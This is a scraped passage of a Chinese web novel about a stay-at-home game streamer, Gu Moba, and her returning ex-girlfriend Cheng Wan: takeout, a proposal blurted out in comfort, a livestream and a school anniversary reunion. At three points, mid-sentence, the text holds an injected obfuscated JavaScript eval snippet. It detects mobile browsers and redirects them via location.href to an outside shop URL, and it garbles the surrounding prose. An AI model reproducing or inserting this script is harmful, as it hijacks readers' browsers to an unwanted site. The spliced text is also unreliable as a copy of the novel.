程晚点点头:“下次不会了。” 顾茉白手脚并用,迅速从她怀里溜出来,一本正经的坐到她的电竞椅上,欲盖弥彰的转了半圈。 “手机递给我一下,我看看外卖到哪了。” 今天怎么这么慢,再这样等下去,她和程晚就该聊出事来了。 在顾茉白看来,聊那些你对不起我我生气了我俩互相亏欠了这种事,比滚到床上去还危险。 和前女友上床,可以解释成上头了。 和前女友聊内心世界,算怎么回事?要不是想复合,谁聊这个啊。 感情比欲/望更可怕一百倍,顾茉白对此深有体会。 和程晚在一起的时候,那些悸动和酸楚,正是因为太过于清晰,她才决定不要再触碰。 顾茉白低下头,专心致志的看手机。 代表外卖的小图标在屏幕上闪烁,距离逐渐变近,她看得分外认真,仿佛在研究什么重要项目。 一时间,房间里只剩下了呼吸声。 程晚靠在那张软得过分的美乐蒂沙发上,看着几乎已经退到了房间对角线上的顾茉白。 或许是刚起床不久,顾茉白只穿了件睡裙,春日气息浓厚的淡绿色,将她整个人罩住,松松垮垮的在她身上晃荡,领口露出一片细白的皮肤。 棕黑色长发扎成马尾,是一个点缀着红色樱桃的发圈。 这样看上去,又和高中时别无二致。 只是她虽然在笑着,但眉眼间带着点愁绪,是以前的顾茉白绝不会有的。 “顾茉白。” 程晚终于忍不住,开口问道: “你刚刚是不是有话想说?” “啊?”顾茉白抬起头来,下意识否认,“我没有。” 程晚说:“你有。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17424239|200858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “你好烦啊!”顾茉白随手抓起一个抱枕,狠狠扔过去,“问这么多干嘛?” 程晚在半空中截住那只抱枕,声音很平静:“我觉得你有烦心事。” 顾茉白:“我烦我的,跟你有什么关系?” 说了又怎么样,人长大了总会有烦恼,顾明佳已经是难得一见的好家长了,没缺过她吃喝,没逼迫她做过什么事,愿意听她说话,支持她的爱好,但越是这样,顾茉白越是觉得自己愧对顾明佳。 她当然知道顾明佳在期待什么。 顾明佳也是人,有自己的私心,在自己力所能及的范围内宠爱了顾茉白,也会期待顾茉白像别人的女儿一样,事业有成,婚姻幸福,成为众人羡慕的对象。 可惜她一个都做不到。 还要拿程晚撒气。 想到这里,顾茉白又萎靡了下去,看起来颇有几分低落。 程晚不忍心见她这样,走到她身边,轻轻摸摸她的头,感觉到手心里的脑袋朝她贴过来一点,小猫似的蹭了蹭。 就算知道那只是本能反应,程晚的心还是软成了一片。 “告诉我,好不好?”程晚低声说,“万一我有办法呢?” 顾茉白憋了很久的委屈,在她温柔的声音里冒出头来,再也压不下去。 “程晚,”她抬起眼睛,看向这个她从十六岁起就无比信任的人,问她,“人不能永远不长大吗?” 程晚没有回答她,只是很认真的看着她,等着她说后面的话。 顾茉白也没有等她的回答,声音轻轻的:“我上个月生日,我妈说二十五岁也是大日子,叫了一堆亲戚来,在和平饭店摆了两桌。” 程晚点了点头:“然后呢?” 她想,这场生日宴上应该发生了什么事,才让以前都很开朗的顾茉白变成这样。 她居然完全不知道,还把顾茉白又一次骗到了这样的饭局上,难怪她那天过来的时候,显得那么不开心。 真讽刺,她明明是想要顾茉白永远开心的。 却在回国的第一天,就让顾茉白不开心。 “然后他们喝多了酒,开始在饭桌上说谁家的小孩去了好公司,谁家的小孩做生意赚了钱,谁家的小孩结了婚,问我好好的工作为什么要辞职,还问我什么时候找男朋友。” 顾茉白的声音越来越低,藏了好久好久的委屈溢出来,变成止不住的眼泪。 “我妈刚开始还说我年纪小不着急,后来不说话了,我知道她是怎么想的,我也不想让她难受的,但那天是我的生日啊……” “就不能换一天再说吗?” 顾茉白一头扎进程晚怀里,小声呜咽: “我还穿了特别喜欢的小裙子,为什么非要在我生日说这些啊……” 程晚看着她哭,心脏跟着细细密密的疼起来,像是被一只巨手攥住,毫不留情的揉捏。 每一滴眼泪仿佛都在质问她,程晚,你不是发誓要保护她的吗?为什么在你不知道的时候,她被现实的车轮无情的碾过,将你最为珍爱的天真碾得粉碎? 你为什么瞻前顾后、畏缩不前? 体面、骄傲、筹码、计划,这些东西就那么重要吗? 值得你错过她人生中最容易迷茫的六年,然后被残酷的社会迎头痛击吗? 我当时就应该什么都不管,先回国把她锁在身边。 想要分手也好,不想见我也罢。 如果我能更强硬,她现在会不会更幸福? 千万种念头在程晚的心里发酵,逐渐演变成一场暴风雨,将她彻底淹没。 “顾茉白。” 她突兀的开口,温柔到不可思议,几乎称得上诱哄。 “我有办法,可以让你永远不长大。” 顾茉白脸上满是泪痕,从她怀里抬起头:“嗯?” 程晚轻轻拭去她的泪水,认真的说: “跟我结婚。” “我会成为你的港湾,让你一直当小朋友。” 8. 008 Chapter 8 什……什么? 结婚? 顾茉白眨了眨眼,后知后觉的感受到脸上一片潮湿。 糟了,眼泪好像不仅把她的脸糊住了,还把程晚的心也糊住了。 “那个,结婚还是先不用了吧……” 顾茉白不想让程晚看见自己现在的样子,干脆抱着她的腰,闷闷的说: “没到那个份上……” 她确实很想逃避这些现实话题,但是要为此牺牲程晚的幸福,她不愿意。 程晚跟她谈过一次恋爱了,顾茉白很清楚自己和程晚在性格和生活习惯上的分歧。 她受不了程晚什么都要管着她,程晚应该也很受不了她什么都不在意。 她不喜欢学习,不喜欢工作,喜欢吃喝玩乐打游戏,程晚却是全校第一名,奖学金拿到手软。 更别说现在,她是家里蹲死宅,程晚是白手起家富一代,直接在A国弄了个科技公司出来! 她偷偷查过程晚的公司,据说是程晚在读书时期主导开发,牢牢掌握着核心技术和人脉资源,从天使轮就开始高歌猛进,在硅谷杀出一条血路,连赛级老白男都不敢在她面前说一个不字。 差别这么大,结婚到底会变成什么样啊。 顾茉白简直不敢想。 程晚抱着她的手臂又紧了一点。 她的怀抱温暖得过分,有好闻的香气和令人神魂颠倒的柔软。 如果可以的话。 顾茉白其实很想一直这样抱着她。 什么也不想,什么也不做。 只是抱着她,沉浸在这种令人安心的气息中,久一点,再久一点。 但是她的手机铃声响起来了。 屏幕上陡然出现一只绿色青蛙头,大叫一声:“卧槽恶俗啊!!!” 顾茉白:“……” 程晚:“?” “外卖好像到了,你去拿一下。” 顾茉白一把抓起手机,手忙脚乱的关掉铃声,把程晚往房间外推。 “两个都到了,你在门口等一下,一起拿上来。” 程晚瞥到她低垂的眼角,有点微微泛红。 她还想再说点什么,但很显然顾茉白不想让她继续留在房间里,已经火速把门关上了。 程晚心乱如麻,走下楼去拿外卖。 顾茉白家住的这个小区,使用的是管家系统,她下楼的时候,对讲机正好亮起来,物业派来的管家一手提着一个外卖,出现在门口,笑容殷切,跟她说哪个是黄鱼面,哪个是奶茶。 程晚听了又像没听,拎着塑料袋走上去,敲了敲顾茉白的门。 等了几秒钟,她才听见顾茉白的声音:“可以了,你进来吧。” 带着点鼻音。 程晚面色如常,克制住自己,没有去看她的眼睛,只是问:“放哪?” 顾茉白扫了一眼自己的桌子。 鼠标,键盘,麦克风,各种小装饰,盲盒,玩偶,小零食,还有刚刚扔满了纸巾,快要溢出来的桌面垃圾桶。 “放这吧,”顾茉白纠结几秒,从床头柜旁边把床上桌拖出来,放在地毯上,“不好意思啊,平时在房间里吃饭都是我一个人,没有合适的桌子。” “没关系。”程晚淡淡的说,心里有点高兴。 她曾经很希望顾茉白的生活里只有她一个人,但过于清醒的理智,让她很清楚这是不可能的事。 可是当这种只属于她和顾茉白的细微时刻出现时,她还是会感受到无法抑制的满足感,从她的心里溢出来,将整颗心都染得雀跃。 顾茉白把外卖袋放在矮桌上,一件件拆开。 程晚和她一起拆,注意到她的矮桌也是美乐蒂。 到底有多喜欢这个粉红小兔子啊? “我看看,这份是我的,”顾茉白把自己的面和奶茶从袋子里拿出来,剩下的推给程晚,“这些是你的。” 程晚先拿出了那杯奶茶,西瓜果汁里加了冰块,在透明塑料杯里轻轻晃荡,看上去分外清爽。 “试试,我很喜欢里面的脆啵啵,”顾茉白热情介绍,“放心,不甜,我给你点的三分糖。” 她还记得我不喜欢太甜的东西。 她并非对我毫不在意。 程晚没去思考这是惦记还是习惯,总之结果是一样的。 那就是顾茉白对她的事情,仍旧很上心。 她很配合的插上吸管,先尝一口西瓜脆啵啵。 在顾茉白期待的眼神中,三分甜也变成了十分甜。 “好喝,”程晚的唇角漾开笑容,“谢谢你。” 顾茉白摆摆手:“谢什么,太客气了。” “要谢的,”程晚说,“要不是你留我吃饭,等会我回了酒店,还要自己去吃饭。” 她把黄鱼面端出来,浓郁香气顿时充满了房间。 “一个人吃饭,很寂寞的。” 顾茉白怔怔的看着她,筷子都忘动了。 程晚吃东西的时候,一向很细致。 筷子夹住小黄鱼的头尾,将鱼肉整块脱下来,泡在金灿灿的面汤里,顿时吸饱了汤汁,比之前更诱人几分。 程晚加了双份的小青菜,刚摘下来的上海青,只在热水里滚过一下,叶片青翠欲滴,看着很是爽口。 注意到顾茉白的目光,程晚的动作停了一下。 她像是想起了什么似的,将顾茉白的面碗拉过来,开始帮她给小黄鱼去骨。 顾茉白后知后觉的反应过来:“……我不是这个意思。” 程晚把碗推回去:“不是吗?” “我是那种吃个黄鱼面还要让前女友帮忙去骨的人吗?”顾茉白小声嘟囔,“你到底是为什么这么熟练啊……” “公主殿下,吃你的面吧,”程晚淡淡的说,“等会要凉了。” 顾茉白把脸埋进碗里,愤愤的夹了一筷子面条,狠狠送进嘴里。 她真是昏了头了,居然会认真思考程晚是不是真的觉得一个人吃饭很寂寞,还在想要不干脆去求一下顾明佳,让程晚留下来住。 好心当成驴肝肺,怎么能把她想象成那种四体不勤五谷不分,连个鱼都吃不明白的人呢?! 面条太烫,顾茉白一口咽不下去,吃也不是,不吃也不是,感觉自己被噎得七上八下,有种要被面条送走的错觉。 程晚默默把她那杯奶茶推过去,顾茉白猛吸一口,冰饮的温度入口,总算是缓了过来。 经此一劫,顾茉白不说话了。 吃面被烫到,怎么看都显得很傻,更是坐实她生活不能自理。 明明平时都不会这样的,果然是因为程晚坐在这里,还要阴阳她,搞得她今天太紧张。 顾茉白一边吃面,一边腹诽,表情格外精彩。 程晚时不时抬头看她两眼,一点都没有错过。 她们学校门口这家黄鱼面开了几十年,做法正宗,汤鲜味美。 程晚刚到S市念书的时候,吃什么都兴趣恹恹,还是顾茉白带她去了这家店,她才渐渐适应了S市的饮食。 而后,是适应了在S市的生活。 适应了顾茉白,喜欢上了顾茉白,离不开顾茉白,又被顾茉白抛弃。 程晚慢条斯理吃完一碗面,顾茉白还在小猫挑食,吃两口面,皱着眉头,把面里的葱姜蒜统统挑出来扔掉,又吃两口面,把刚刚的漏网之鱼捞出来扔掉,如此循环几遍,终于对剩下的几口面厌烦,直接把碗推开,开始喝奶茶。 她那杯奶茶里加了好几种小料,还有芋泥和血糯米,看上去像是一锅粥。 程晚:“……” 她终于知道为什么顾茉白不爱吃饭了。 真奇怪,顾茉白这些习惯不是一天两天了,她为什么现在才发现? 程晚打开手机,又翻了一遍顾茉白的朋友圈。 嗯,她记得没错,顾茉白的朋友圈里,三天两头会出现各大奶茶店的 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顾茉白按住门框,不让它关上。 “我送你吧。” 程晚和顾明佳面面相觑,不知道她为什么又从楼上下来了。 顾明佳首先反应过来,问道:“小茉?你不是说你今天有事,没空送小晚吗?” 顾茉白干笑两声:“哈哈,下午,下午有事。” 她迅速换了鞋,拉住程晚的手:“走了走了。” 程晚没去问顾茉白下午有什么事。 那多半只是个借口,是顾茉白之前不想送她胡扯的。 她不知道究竟是哪句话打动了顾茉白,只是顺着顾茉白,将她的手窝进掌心。 权当这一刻的幸福是她偷来的,跟顾茉白一起出门。 顾家的车停在别墅门口,程晚拉开车门,站在门边没动。 顾茉白犹豫了半秒,终究不好意思说自己只是打算把她送到门口,没打算一路给她送到和平饭店去,但程晚这么主动,她也不想让程晚失望,只好一起上了车。 白天的风景和晚上不同。 没有了灯光的点缀,一切似乎失去了魅力,只剩下格外明晰的现实,从那些钢筋混凝土之间散发出来,叫人觉得生冷。 不堵车的时候,从陆家嘴开到和平饭店只要十五分钟,比晚高峰速度快上许多。 在顾茉白还没有反应过来的时候,车已经停下来了。 车门咔哒一声,从程晚那边开启了。 顾茉白转过头:“诶?到了?” 程晚本来想下车,听见她的声音,动作又停下了。 “嗯,”她回过头,和顾茉白对视,“到了。” 她的眼神,宛若一层细密编织的网,悄无声息的缠上来,是顾茉白非常熟悉的感觉。 后背微微发麻,头脑变得清醒又迟钝,理智觉得危险,叫嚣着想要逃离,本能却又被深深吸引,连一秒钟都无法移开视线。 顾茉白终于发觉,一直以来,她认为是自己折下了这枝高岭之花,让程晚沾染了人世间的滋味,这个想法,恐怕一开始就是错的。 程晚从来就不是那种会被他人左右的人。 顾茉白有点恍惚,但还是下意识抬起脸,对程晚说:“那我先走啦,有空再见。” 程晚笑眯眯的点头:“好哦,我等小茉有空。” 车门关上,程晚对她轻轻摆手,顾茉白把车窗降下来,也对着她摆手。 等车开出一阵,重新回到马路上,顾茉白的智商才逐渐回笼。 手机滴答一响,顾茉白低头一看,是程晚发来的消息。 问她什么时候有空,要不要一起去看电影。 等等等等,她是掉进什么陷阱里了吗?! 有空再见只是客套话啊,程晚怎么还当真了呢?! 9. 009 Chapter 9 顾茉白果断回了她两个大字:“不去。” 掷地有声,毫不犹豫。 程晚收到她的消息,唇角情不自禁的弯起来。 顾茉白还是那么好懂。 刚刚说什么有空再见,她一听就知道是客套话。 要是真想见面,按照顾茉白的风格,应该直接约上时间地点,还要再三强调,让她一定要来。 以前,顾茉白追她的时候,就是这样做的。 赤诚热烈,如同夏日的阳光,像是能够融化一切。 浓重的怀念从程晚心里冒出来,变成难以压抑的情潮。 好想见到顾茉白…… 好想一直一直抱着她。 程晚深吸了一口气,克制住想要给她打电话的冲动,先把手机放下,电脑打开,调出几份文件,让自己冷静一下。 回国第二天,不要表现得太明显,把顾茉白吓跑了怎么办。 另一边,顾茉白回完消息,就开始望着窗外出神。 SUV开起来很稳,几乎不会让人有在路上的感觉,窗外风景如同幕布上的电影,没有在顾茉白的脑子里留下丝毫踪迹。 ——虽然一旦遇到程晚的事,别的事就都很难在她脑子里留下痕迹就是了。 这都哪年哪月了,怎么一看见程晚那张似笑非笑的脸,就觉得心跳加速,这一见钟情的持续时间是不是有点太长了?! 顾茉白抓着手机,思考起了这个严肃的问题。 算了算了,想不明白就不想了。 顾茉白的千回百转少女心只持续了三秒钟,再抓起手机一看,程晚居然没回她消息,更是消失得无影无踪。 哎,怎么这样,这人就不能再坚持坚持吗? 她发的那个电影挺好看的,之前第一部上映的时候,她还和程晚去看过,本来以为没有后文了,没想到现在又出了第二部。 要是能一起看,那还挺浪漫的。 毕竟隔了这么多年,电影上了第二部,她和程晚也重逢了。 “小茉,马上到了,你要不要去买东西?还是我直接送你回去。” 司机冷不丁的开口,把顾茉白吓了一跳。 “不用了,算了还是停一下,”顾茉白心情不太好,“我去买个冰淇淋再回去。” 顾茉白本来只是想买个冰淇淋,但是在便利店里逛了一圈后,提着一袋子零食回家了。 今天是工作日,顾明佳公司有事,已经出门了,阿姨要准备晚餐,这个点会去买菜,家里空空荡荡,只有她一个人。 正好直播。 顾茉白提着零食上楼,熟练的打开电脑和游戏,跟观众打招呼。 工作日的下午,直播间观众不多。 顾茉白玩的还是之前那一款恐怖游戏,现在剧情过了大半,正是精彩的时候。 顾茉白边玩边解说,很快直播间的气氛热络了起来,观众人数稳定下来,冲上了今天的热榜。 她还是第一次上热榜,直播间里涌进来不少新观众,问题层出不穷。 顾茉白挑着回答了几个,始终有点兴致缺缺。 弹幕也看出来了,纷纷发问: 【小茉这两天怎么了?心情不好吗?】 【昨天还忽然下播了】 【对,好突兀,我还没反应过来,直播就关了】 说到这个…… 顾茉白心里叹气,要不是程晚搞突然袭击,她至于扑过去就把电脑关了吗?! 顾茉白道了个歉,安抚了一下粉丝的情绪: “昨天突然有点事,就先下播了,没来得及跟大家说拜拜,不好意思啊。” 【没事,主要是担心小茉】 【对啊对啊难得找到这么对味的主播,好怕你不播了】 【说来我昨天好像听到敲门声了,是被爸妈发现了吗】 “不是不是,”顾茉白连忙解释道,“我妈工作忙,平时不太管我。” 她直播的事情,顾明佳至今都不知道。 一方面是因为顾明佳工作太忙,在家的时间不多,另一方面,则是因为顾茉白实在没想好要怎么告诉她。 她的生物爹是个不折不扣的渣男。 年轻的时候靠一张帅脸骗到了顾明佳,其实完全承担不起成家立业的责任,天天做着明星梦,说自己是沧海遗珠,早晚有一天会大红大紫。 后来顾明佳创业成功,哥们觉得伤害了他的自尊,在家里当不成大爷,竟然出轨了。 如果只是出轨,顾明佳还不会这么恨。 这个神人竟然趁顾明佳怀孕,在她们家楼上租了一套房子,养着他的小情人,花的还是顾明佳的钱。 顾茉白出生后,顾明佳带着她在小区楼下玩,发现邻居看她的眼神都怪怪的。 一问才知道,她的绿帽子戴得人尽皆知,就她自己不知道。 顾明佳怒而离婚,带着顾茉白来了S市,事业蒸蒸日上。 搬进陆家嘴别墅区的那天,神人哥又出现了,痛哭流涕求顾明佳原谅他。 顾明佳冷着一张脸,通知物业带保安过来,把他扭送去了警察局,全程不超过十分钟。 顾茉白目睹了一切,记住了重点,该死的渣男还想当明星,也不看看自己什么货色,居然还敢出来找死! 虽然明星和主播是两个工种,主播和不露脸的游戏主播又是两个工种。 但顾茉白很清楚,在外行人眼里,这些全都一样,属于搞不清楚到底有什么技术含量,全凭一张脸靠运气吃饭的行业。 她实在不敢想,要是顾明佳知道了,会不会暴跳如雷,让她也滚出去啊? 她是真没地方滚。 走神几秒,弹幕上已经刷满了新的问题。 顾茉白看了一眼,回答:“呃,是我姐啦,昨天是我姐,她管我管得严,我怕她发现我在打游戏,我就关了。” 【小茉这么害怕姐姐?一般姐姐不是会比较温柔吗】 【再说了跟姐姐吵架了就吵架呗她又不能断你生活费】 【感觉小茉好乖,像糯米团子】 顾茉白本想说此姐非彼姐,你们的姐姐生气了顶多骂你们两句,我姐生气了可是要……停停停! 某些画面又有从脑子里冒出来的趋势,顾茉白连忙把注意力放在弹幕上,结果瞄到一个糯米团子,顿时有点破防。 顾茉白:“啊啊啊不许嬷我!” 什么糯米团子!真是脚趾扣地!! 然而当代网友是一种你说不要她偏要的生物,一看她炸了毛,弹幕飞速滑过一大片,看都看不清楚。 【好萌一口吃了】 【不会吧不会吧不会吧,这个小奶音不会是还想当1吧?】 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17424241|200858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >【小茉你正视一下自己当了三年cv只配过0个1的事实】 顾茉白恼羞成怒:“那我不是转行了吗!” 再这么配下去,她迟早把双女主小说里那些偏受的角色全都配一遍,不行不行不行,这个cv是干不了一点! 顾茉白生气了,顾茉白炸毛了,顾茉白发火了,顾茉白开始把键盘敲得哐哐响! 弹幕沉默了三秒钟,开始无条件溺爱: 【没事的宝宝别敲了一会儿把手敲疼了】 【就是就是!我们小茉女鬼跳脸都不怕简直是世界上最勇敢的糯米团子】 【嗯嗯我们小茉最攻了迟早有一天能把人按在墙上亲】 顾茉白内心冷笑:呵呵我已经按过了。 她把鼠标一扔,抓起手机,好啊,那个被她按在墙上亲过的人居然还没回消息。 什么意思? 昨天还把她亲来抱去说你的事我都记得,现在这分钟忘记她们一起看过这个电影了? 还是她想错了,程晚跟她一样,喝了点酒上头了,荷尔蒙飙升上来没控制住,才对她又亲又抱,根本不是打算跟她再续前缘? 也有这种可能,毕竟她昨天就是看见程晚那么漂亮,夜风又那么温柔,她一时鬼迷心窍,才会靠得越来越近,直到程晚吻上她的唇。 那个吻,有点似是而非的甜意。 缠绵悱恻,却又不够到位。 顾茉白一边胡思乱想,给程晚的一切行为合理化,一边控制不住心里的火气噌噌往上冒。 又晾着她又晾着她!谁允许程晚这么干的?今时不同往日,她可不是那个看见程晚就走不动路的顾茉白了! 顾茉白狠狠戳着手机屏幕,在绿泡泡上划来划去,点开萧绿的对话框,问她周末有没有时间。 萧绿是她的高中同学,本来关系一般,上了大学以后,顾茉白发现她俩不仅是同担,甚至是前圈、前前圈、前前前圈都是同担。 这审美,这口味,这爱好的相似度,简直就是她的镜像版,含金量可见一斑。 而且,萧绿现在也是家里蹲,不过她的情况稍微好一点,已经出版了几本小说,算得上对社会对家庭有个交代。 和大忙人程晚不同,她的家里蹲同担回消息极快:“有空啊,去干嘛?” 顾茉白把电影发给她,问她要不要一起去看。 萧绿说好,又说:“这周末正好是校庆,要不我们看完电影一起过去?” 顾茉白想了想,大悦城和X11都快被她俩逛穿了,实在是没什么地方可去的,闲着也是闲着,去校庆看看也好。 跟萧绿约好时间后,顾茉白又投入了游戏的怀抱。 解决了程晚这个心腹大患,她这次打得格外顺利,一次性通关,一手丝滑操作看得直播间观众啧啧称奇,礼物也收了不少,直接把这个月的生活费都凑够了。 顾茉白感到非常满足。 哼哼,不回就不回,我又不是没有朋友! 等着吧,等我看完电影,在朋友圈里把照片一发,你就后悔去吧! 不回我消息,就是这个下场! 顾茉白的好心情,一直持续到了看完电影,和萧绿一起回学校。 等她看清杰出校友墙上的照片,彻底笑不出来了。 程晚,她的学姐。 正是负责今天讲座的杰出校友。 10. 010 Chapter 10 初春的校园里,四处是盛开的花木,湖面波光粼粼,倒映出周围的风景,三两只鸭子在湖面游过,荡起一阵阵波纹。 一切都那么美丽,宛若挂在美术馆里的油画。 除了站在主舞台下,正在介绍自己创业经历的前女友。 不,其实她的前女友也挺美如画的,或者说在蓝天白云的映衬下,程晚简直美的胜过了所有风景。 只是顾茉白心里有鬼,实在是笑不出来。 萧绿倒是兴致不错,指着舞台上的人:“诶,那不是程晚学姐?我记得你们俩不是谈过恋爱吗?” 顾茉白看了她一眼,心说你们死宅真是太没情商了,这种话是能随便问的吗? 没情商的死宅:“当时还很轰轰烈烈的!都说学姐冰山性冷淡高不可攀,你是怎么追到的啊?” 顾茉白:“……” 我说我用身体引诱她的,你信吗? 告白后直接把人按在墙上亲,顾茉白是不可能告诉别人的。 没办法,谁让她那时候还是一个没有情商的死宅呢。 不知道追人要循序渐进,徐徐图之,她是一点预兆都没有,直接冲进了程晚的房间。 程晚没有被她吓死,还跟她接吻,实在是天赋异禀。 心理素质太强了,难怪能成功。 顾茉白怔怔的看着舞台上的人,烈日高悬,她的眼睛有点生疼。 灿烂阳光笼罩在程晚的身上,勾勒出一层浅淡的光晕,白玉般的皮肤上,是比黑曜石更冷肃的眼眸。 除了她,没有人知道被那双眼睛注视,究竟是什么样的感觉。 脊柱发麻,手指蜷缩,连心脏都会一并颤抖,坠入她给予的悸动之中,谁能想到这个人看起来冷淡,其实…… 顾茉白把脑袋低下来,眼观鼻鼻观心,一心一意盯着自己的脚尖。 真讨厌,怎么毕业了还要看程晚在国旗下讲话,不知道她最爱看这个了吗? 完全抵抗不住啊。 “我们班有聚会,你去不去?”萧绿打断了她的思路,“食堂开自助餐,可以直接过去,我看群里好多人说等会在那边见面。” 顾茉白思考了一下,食堂是没什么好吃的,但是见见老同学也不错,于是点点头:“来都来了,去看看吧。” 萧绿带了相机,两人在学校里几个知名打卡点拍了照,转战食堂。 为了这次校庆,食堂特意布置过,张灯结彩,好不热闹。 “萧绿!小茉!这边这边!” 她们刚进食堂,便听见有人在叫她们,顾茉白循着声音看过去,原来是周梧,以前跟她们是同一个社团的,经常一起去漫展。 “好久没见你们了,现在在干嘛?” 两个家里蹲对视一眼,双双沉默。 她们俩的职业,虽然也是靠手艺吃饭,但每次跟别人介绍起来,都会有一种说不出的尴尬。 要么是好奇她们究竟能赚多少钱,要么就是问她们的账号。 前者没法回答,总不能说好一阵坏一阵,能养活自己就不错,后者更没法回答,对死宅来说,暴露了网名,和社会性死亡有什么区别。 周梧等了半天没等到答案,反而拍了拍她们的肩膀,露出一脸我懂的表情。 “没事,我也刚辞职,现在就业市场不好,毕业找不到工作很正常。” 顾茉白大松一口气,跟着是啊是啊,没错没错的附和一阵,眼神四处乱飘,琢磨着等会先去吃什么。 虽然是在食堂里,但学校这个自助餐搞得蛮像那么回事的,冷菜热菜甜点饮料一应俱全,面前还放了名牌,写着这道菜是哪个校区什么食堂的特色菜,连窗口号都有,相当的贴心。 等会寒暄完了,先去搞个小蛋糕吃吃。 她还挺喜欢学校面包房的,里面做的草莓蛋糕很好吃……诶。 “顾茉白。” 刚刚还在垂涎的草莓蛋糕出现在眼前,后面是程晚那张漂亮的脸。 “给你的。” 端着碟子的手纤细修长,骨节分明,力量感强烈,有种不容拒绝的意味。 顾茉白也拒绝不了,是她想吃的草莓蛋糕诶…… 她把碟子接过来,露出一个尴尬但不失礼貌的笑容:“你怎么来了?” 程晚:“正好看见你,就过来了。” 程晚今天有演讲,穿得比平时更正式一些,米白色衬衫剪裁挺括,搭配了强调气场的妆容,看起来不太好接近。 少了那个蛋糕碟子后,更是连笑容都显得冷淡,她微微侧头,和萧绿周梧打了个招呼。 萧绿神色一僵:“学姐好!” 周梧立马跟上,一叠声说道:“学姐好久不见,学姐我们还有点事,学姐我们先走啦!” 萧绿连忙点头:“对对,不打扰学姐了,小茉我们回头见。” 顾茉白端着草莓蛋糕,眼睁睁看着这两个人忽然手挽着手,从她的两个好朋友变成了彼此的好闺蜜,从她面前麻溜的消失了。 比游戏里那些鬼怪逃离案发现场还快。 顾茉白:“……” 她咽下嘴里的蛋糕,转头看向程晚,义正辞严的谴责:“看看你干的好事,把学妹都吓跑了!” 程晚拉开对面的椅子,在她的面前坐下,笑意盎然:“那你怎么不跑呢,学妹?” 顾茉白眼神飘忽:“其实我也挺想跑的。” 这不是不敢吗。 你都杀到我面前来了,我现在跑了,你之后会放过我? “是吗?”程晚还是那幅笑眯眯的样子,眼神却黯了一瞬,“明明是你跟我说有空再见的,一转眼就跑去和别人看电影。” 顾茉白眨眨了眼睛:“那又怎么了?” 她盯着程晚的笑容,心说这不是你自找的吗,现在就是为了这个来堵我? “明明是我先邀请你的。” 程晚的声音低下去,泛起一丝难以压抑的酸楚。 她微微偏过头,避开顾茉白的视线,不让她看清自己的失落。 “顾茉白,那个电影我们以前看过,我想和你一起看第二部。” 顾茉白吃蛋糕的动作停了,感觉脑子嗡嗡的。 首先她必须要说她实在是没想到程晚竟然跟她想到一起去了,还知道要一起看电影的第二部。 这人以前不是不搞这些,只知道在床上搞来搞去的吗?还说她的少女心很没必要,不知道有什么好看的。 虽然最后还是陪她去看电影了,但总的来说,顾茉白觉得自己的初恋有非常多遗憾之处,全都赖程晚不解风情。 然后她很想问,这是传说中的吃醋吗? 程晚也会吃醋? 顾茉白跟着她歪头,想看清她脸上的表情。 这么一看,简直是悚然一惊。 程晚那张清冷冰山的脸上,嘴唇抿成一条直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17424242|200858||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 线,她似乎在咬着自己的唇,下颌线格外紧绷。 看起来好委屈,酸溜溜的,好可爱……好爽! 顾茉白心里的小人大声欢呼:程晚你也有今天!原来你也会吃醋不过你吃起醋来怎么这么好看,要是能莫名其妙哭一个就好了,眼角泛红美人落泪更是好品好品。 顾茉白不仅不反思,还要火上浇油。 她下巴一抬,理不直气也壮:“我说不去就不去,你都不会再坚持一下?” 程晚一愣。 她没想过这个选项。 以顾茉白的性格,如果她纠缠不休,恐怕会直接拉黑她。 就像当时她在德国,一觉醒来发现自己被拉黑了一样。 后来顾茉白气消了,又把她从黑名单里放了出来。 程晚心有余悸,除了看看她的朋友圈,在逢年过节和回国的时候,发一些不痛不痒的消息外,不敢再做任何出格的事。 她本来就不是擅长线上交流的人。 比起跟顾茉白在绿泡泡上扯八百个来回,想办法出现在她的面前,对她来说比较现实。 就像是现在。 顾茉白端着她给的蛋糕,一边吃得开心,一边嘀嘀咕咕的指责她:“我说不去就不去,你不会冲进我家把我带走啊,真是没诚意,竟然劝都不劝我,会不会追女孩子啊……” 好可爱。 明明是在骂她,但程晚的脑子里只剩下荒谬的念头,好可爱,好想亲。 阳光从玻璃窗外照进来,落在顾茉白的头顶,给她蓬松柔软的头发镀上一层暖色。 她的皮肤很白,被午后的热气一熏,显出一点淡淡的红,嘴唇是浅淡的樱粉色,沾了甜腻的奶油,更显得诱人。 这么可爱的人,明明就应该是她的妹妹,她的女朋友,要被她锁在手心,只有她能看见她的笑容和泪水,变成她一个人的宝贝。 怎么可以被别人看见,怎么可以把别人放在她的前面。 